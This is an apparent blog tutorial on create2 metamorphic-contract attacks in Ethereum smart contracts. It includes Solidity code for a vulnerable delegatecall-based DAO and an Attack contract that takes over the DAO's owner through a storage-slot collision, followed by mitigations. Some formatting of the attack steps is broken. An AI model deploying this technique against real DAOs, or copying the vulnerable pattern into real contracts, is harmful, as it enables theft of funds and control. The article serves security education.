A create2 opcode attack in smart contracts essentially exploits the feature of this opcode to deploy contracts at a specific address. This feature, combined with certain contract logic, can become a vulnerability to be exploited. Although the create2 opcode is quite simple, it provides greater flexibility for contract implementation, making it very common in today's DeFi protocols. 🌐
For instance, in UniswapV3, token liquidity pools are automatically deployed using a factory contract. When we call some functions of the UniswapV3 contract (like flash loans), we can calculate the address of the corresponding liquidity pool in a way similar to this:
address pool = address(
uint160(
uint(
keccak256(
abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
This is because the create2 opcode calculates the address when deploying a contract using four parameters: the first is bytes1(0xff)
to avoid address collision with contracts deployed using create, the second is the address of the contract deployer, the third is a salt value determined by the deployer, and the fourth is a hash value calculated from the contract's bytecode and packed parameters. 🧩
This reminds us to be mindful of the deployment method of contracts and the possibility of changing the content of the called contract through the create2 opcode, potentially injecting malicious code. 🛡️
In this article, I will demonstrate a simple create2 attack example and how to prevent such attacks.
Alice deploys a simple DAO contract, whose main function is to approve proposals created by others and then execute these proposals through delegatecall. The code is as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, "not authorized");
proposals.push(Proposal({target: target, approved: true, executed: false}));
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, "not approved");
require(!proposal.executed, "executed");
proposal.executed = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature("executeProposal()")
);
require(ok, "delegatecall failed");
}
}
The attacker, Eve, discovers a vulnerability in this DAO contract and deploys a Deployer contract. This contract uses the create2 opcode to deploy two other contracts. One is the legitimate Proposal contract, and the other is the Attack contract used for the attack. The code is as follows:
contract Deployer {
event Log(address addr);
function deployProposal(uint256 salt) external {
address addr = address(new Proposal{salt: salt}());
emit Log(addr);
}
function deployAttack(uint256 salt) external {
address addr = address(new Attack{salt: salt}());
emit Log(addr);
}
}
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log("Executed code approved by DAO");
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log("Executed code not approved by DAO :)");
// For example - set DAO's owner to attacker
owner = msg.sender;
}
}
A simplified process of a create2 attack:
bytes32 salt = keccak256(abi.encode(uint(123)));
) to deploy the Proposal contract, which is a legitimate proposal. 🧱bytes32 salt = keccak256(abi.encode(uint(123)));
) to deploy the Attack contract, inserting malicious code. 🕵️♂️(bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("executeProposal()"));
. As a result, the executeProposal function in the Attack contract is called, modifying variables in the corresponding storage slots of the DAO contract through delegatecall. 🔀address public owner = msg.sender;
. Looking at the storage slots of the Attack contract, slot 0 also contains address public owner;
. So, the delegatecall to owner = msg.sender;
in the Attack contract results in changing the owner variable in the first storage slot of the DAO contract to the attacker, Eve. 🎭This attack is quite simple in itself, but it shows that the combination of the create2 opcode and contract logic used extensively in today's mainstream DeFi protocols is not always perfect. Based on the principle of the attack, we can consider the following ways to reduce such risks:
Before approving and executing any external contract calls, we should verify the content of the contract itself, not just represent the already deployed contract by its address. This can be achieved by verifying the contract's bytecode. 🔍
Be wary of contracts with selfdestruct functionality and limit and monitor calls to them. This can be achieved through code audits and contract governance. ⚠️
For DAO-type contracts, consider adding a time lock before executing proposals. This can provide enough buffer time to review the content of the proposal, ensuring it has not been replaced with malicious actions. ⏳
Be cautious in function calls involving delegatecall, as delegatecall will change the variables in the caller's own storage slots. Even if it's not malicious code, inconsistencies in the storage layout between the caller and the callee can lead to unexpected errors. 🤔
That concludes our discussion on create2 attacks and related security strategies. Since you've made it this far, how about giving me a like? 👍